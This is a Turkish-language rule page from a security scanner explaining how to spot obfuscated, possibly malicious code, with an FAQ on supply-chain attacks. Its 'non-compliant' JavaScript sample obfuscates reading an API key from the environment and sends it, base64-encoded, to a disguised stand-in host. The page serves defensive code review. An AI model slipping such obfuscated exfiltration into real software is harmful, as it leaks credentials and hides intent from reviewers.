Aikido

Potansiyel olarak kötü amaçlı kod kalıplarını tespit edin: kod tabanınızdaki gizli tehditleri belirleme

Güvenlik

Kural
Potansiyel olarak zararlı kod kalıplarını
tespit edin. Kod, niyetinde şeffaf olmalıdır. 
Bilinçli karmaşıklaştırma (obfuscation) veya gizleme teknikleri,
zararlı bir niyete veya arka kapılara işaret eder.
Desteklenen diller: 45+

Giriş

Prodüksiyon depolarındaki (repositories) karmaşıklaştırılmış (obfuscated) kod her zaman iyi niyetli değildir. Frontend derlemelerinde kodun küçültülmesi (minification) için meşru kullanım alanları mevcut olsa da, kaynak kodundaki bilinçli olarak gizlenmiş mantık genellikle tedarik zinciri saldırılarına, arka kapılara veya ele geçirilmiş bağımlılıklara işaret eder. Saldırganlar, zararlı yükleri (payloads) üstünkörü kod incelemelerinden gizlemek için kodlama hileleri, olağandışı string birleştirme, dinamik değerlendirme ve diğer karmaşıklaştırma tekniklerini kullanırlar.

Neden önemli?

Güvenlik etkileri: Karmaşıklaştırılmış kod, tedarik zinciri ihlalinin birincil göstergesidir. 2024 XZ Utils arka kapısı, zararlı SSH kimlik doğrulama atlama kodunu gizlemek için gelişmiş karmaşıklaştırma kullanmıştır. Benzer teknikler, ortam değişkenlerini veya kimlik bilgilerini sızdıran ele geçirilmiş npm paketlerinde de görülmektedir. Kod niyetini kasıtlı olarak gizlediğinde, güvenlik incelemeleri ve otomatik taramalar sırasında tespitten kaçınmak üzere tasarlanmış demektir.

Kodun sürdürülebilirliği: Karmaşıklaştırma zararlı olmasa bile bir bakım kabusu yaratır. Gelecekteki geliştiriciler niyeti anlayamaz, hata ayıklama (debugging) imkansız hale gelir ve kod hiç kimsenin dokunmak istemediği teknik borca dönüşür. Karmaşıklaştırılmış mantık, hataları veya güvenlik açıklarını yakalamak için tasarlanmış tüm statik analiz araçlarını atlatır.

Saldırı yüzeyinin genişlemesi: Şunun gibi karmaşıklaştırma teknikleri eval(), Function() constructor veya base64 ile kodlanmış string'ler, güvenlik araçlarının statik olarak analiz edemeyeceği dinamik kod yürütme yolları oluşturur. Bu durum, kaynak kodu incelemelerinde görünmeyen çalışma zamanı (runtime) davranışları sunarak saldırı yüzeyinizi genişletir.

Performans etkisi: Karmaşıklaştırılmış kod genellikle aşırı string birleştirme, dinamik özellik erişimi veya tekrarlanan kodlama/çözme (encoding/decoding) işlemleri gibi verimsiz kalıplar kullanır. Bu kalıplar, kaynak depolarında hiçbir meşru iş amacına hizmet etmezken performansı düşürür.

Kod örnekleri

❌ Kural dışı:

const _0x4d2e = ['env', 'API_KEY', 'toString', 'base64'];
const _0x1f3a = (i) => _0x4d2e[i];

function sendData(user) {
  const key = process[_0x1f3a(0)][_0x1f3a(1)];
  const payload = Buffer.from(JSON.stringify({
    u: user.email,
    k: key
  }))[_0x1f3a(2)](_0x1f3a(3));

  fetch('https://analytics-cdn.example.com/t', {
    method: 'POST',
    body: payload
  });
}

Neden güvensiz: Değişken adları kasıtlı olarak anlamsızdır, string erişimi dizi indeksleme yoluyla karmaşıklaştırılmıştır ve iletişim kurulan gerçek uç nokta (endpoint) belirsizdir. Bu kalıp, zararlı paketlerin kimlik bilgilerini nasıl sızdırdığıyla tamamen aynıdır ve inceleme sırasında kodun gerçek niyetini doğrulamayı imkansız kılar.

✅ Kurallara uygun:

const ANALYTICS_ENDPOINT = 'https://analytics.example.com/track';

function sendAnalyticsEvent(user) {
  const event = {
    userId: user.id,
    email: user.email,
    timestamp: Date.now()
  };

  return fetch(ANALYTICS_ENDPOINT, {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify(event)
  });
}

Neden güvenli: Net değişken adları, açık uç nokta, şeffaf veri yapısı ve bariz niyet. Herhangi bir incelemeci, hangi verilerin nereye gönderildiğini hemen anlayabilir. Bu kod hem güvenlik araçları hem de insanlar tarafından denetlenebilir.

Sonuç

Kaynak depolarındaki karmaşıklaştırılmış kod, soruşturma gerektiren bir güvenlik kırmızı alarmıdır. Derleme zamanı küçültme (minification) frontend optimizasyonu için kabul edilebilir olsa da, kaynak kodu her zaman okunabilir ve şeffaf olmalıdır. Karmaşıklaştırma kalıplarını erken tespit etmek, tedarik zinciri ihlallerini önler ve kodun denetlenebilirliğini korur.

Sık Sorulan Sorular

Sorularınız mı var?

Zararlı kodlara işaret eden yaygın karmaşıklaştırma kalıpları nelerdir?

Şunlara dikkat edin: Çalışma zamanında (runtime) çözülen hex veya base64 ile kodlanmış string'ler (`Buffer.from('aGVsbG8=', 'base64')`), dinamik string'lerle `eval()` veya `Function()` constructor kullanımı, string'lere indeksler aracılığıyla erişilen dizi tabanlı string karmaşıklaştırma, olağandışı karakter kaçışları (`"hello"` yerine `\x68\x65\x6c\x6c\x6f`), hesaplanan değerlerle köşeli parantez gösterimi kullanarak özellik erişimi ve kontrol akışını gizleyen derinlemesine iç içe geçmiş üçlü (ternary) operatörler. Bu kalıplar meşru kodlarda çok nadiren görülür.

Kaynak kodunda karmaşıklaştırma için meşru nedenler var mı?

Çok az. Meşru kullanım senaryoları şunları içerir: ticari yazılımlardaki tescilli algoritmaları korumak (her ne kadar bu backend servisleriyle daha iyi yönetilse de), kurcalamaya dayanıklı olması gereken lisanslama/DRM kodu ve istemci tarafı bot koruması. Bununla birlikte, bu durumlar bile izole edilmeli, belgelenmeli ve ayrı olarak incelenmelidir. Genel uygulama kodu asla kaynak depolarında gizlenmemelidir (obfuscation uygulanmamalıdır).

Küçültülmüş (minified) kod ile kötü amaçlı kod gizleme (obfuscation) arasında nasıl ayrım yapabilirim?

Küçültülmüş kod, kaynak dosyalarında değil, derleme çıktılarında (build artifacts) görünür. Deponuz, derleme sürecinde küçültülen okunabilir kaynak kod içermelidir. `src/` dizininizde veya `node_modules` kaynak dosyalarında küçültülmüş veya gizlenmiş kod bulursanız, bu şüphelidir. Meşru küçültme işlemi de bazı yapıları korurken (fonksiyonlar arası satır sonları), kötü amaçlı gizleme genellikle tek satırlık, derinlemesine iç içe geçmiş ifadeler oluşturur.

Bir bağımlılıkta gizlenmiş (obfuscated) kod bulursam ne yapmalıyım?

Paketi derhal inceleyin. Gizlemenin ne zaman eklendiğini kontrol edin (son sürümleri karşılaştırın), paket yöneticisinin geçmişini gözden geçirin, güvenlik uyarılarını arayın ve gizlenen kodun aslında ne yaptığını inceleyin (`js-beautify` gibi araçlar yardımcı olabilir). Güvenliği doğrulayamıyorsanız, bağımlılığı kaldırın veya bilinen son iyi sürüme sabitleyin. Şüpheli paketleri npm güvenliğine veya ilgili paket kayıt defterine bildirin.

Kod gizleme (obfuscation), karanlık yoluyla güvenlik (security through obscurity) için kullanılabilir mi?

Hayır. Karanlık yoluyla güvenlik başarısız olur çünkü gizleme tersine çevrilebilirdir. Saldırganlar kodunuzun gizliliğini çözecektir, ancak güvenlik ekibiniz ve otomatik araçlarınız bunu kolayca denetleyemez. Bu durum asimetrik bir risk yaratır: saldırganlar değilken siz açıkları göremezsiniz. Gerçek güvenlik, uygulama detaylarını gizlemekten değil; uygun kimlik doğrulama, şifreleme, en az yetki (least privilege) ve diğer derinlemesine savunma önlemlerinden gelir.

Tedarik zinciri saldırıları kod gizlemeyi nasıl kullanır?

Saldırganlar meşru paketleri ele geçirir ve ortam değişkenlerini, kimlik bilgilerini veya kaynak kodunu sızdıran gizlenmiş kötü amaçlı kod enjekte eder. Kod gizleme, kötü amaçlı commit'in otomatik kontrollerden ve sıradan kod incelemelerinden geçmesine yardımcı olur. 2018'deki event-stream olayı, Bitcoin cüzdan hırsızlığını gizlemek için kod gizleme kullanmıştı. Daha yakın zamanda, düzinelerce npm paketi, kimlik bilgisi sızdırma kodunu gizlemek için base64 kodlaması kullandı. Gizleme kalıplarını tespit etmek tedarik zinciri güvenliği için kritik öneme sahiptir.

Gizlenmiş kod kalıplarının performans üzerindeki etkisi nedir?

Gizlenmiş kod genellikle verimsiz teknikler kullanır: döngülerde dize birleştirme, tekrarlanan base64 kodlama/çözme, JavaScript motoru optimizasyonunu engelleyen dinamik özellik erişimi ve aşırı kapanış (closure) oluşturma. Bu kalıplar, eşdeğer okunabilir kodla karşılaştırıldığında performansı %10-50 oranında düşürebilir. Daha da önemlisi, performans etkisi öngörülemezdir çünkü gizlenmiş kod, V8 gibi motorların şeffaf kod üzerinde gerçekleştirdiği çalışma zamanı optimizasyonlarını engeller.

Şimdi güvenliğinizi sağlayın

Kodunuzu, bulutunuzu ve çalışma zamanınızı tek bir merkezi sistemde güvenceye alın.
Güvenlik açıklarını otomatik olarak hızla bulun ve düzeltin.

Kredi kartı gerekmez | Tarama sonuçları 32 saniyede.